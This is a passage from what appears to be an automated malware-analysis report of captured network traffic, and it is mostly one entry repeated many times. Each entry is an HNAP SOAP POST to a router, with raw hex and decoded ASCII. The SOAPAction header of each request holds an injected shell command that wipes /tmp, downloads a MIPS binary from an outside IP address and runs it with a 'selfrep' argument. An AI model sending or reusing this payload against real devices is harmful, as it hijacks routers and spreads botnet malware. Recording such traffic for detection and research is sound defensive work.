xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 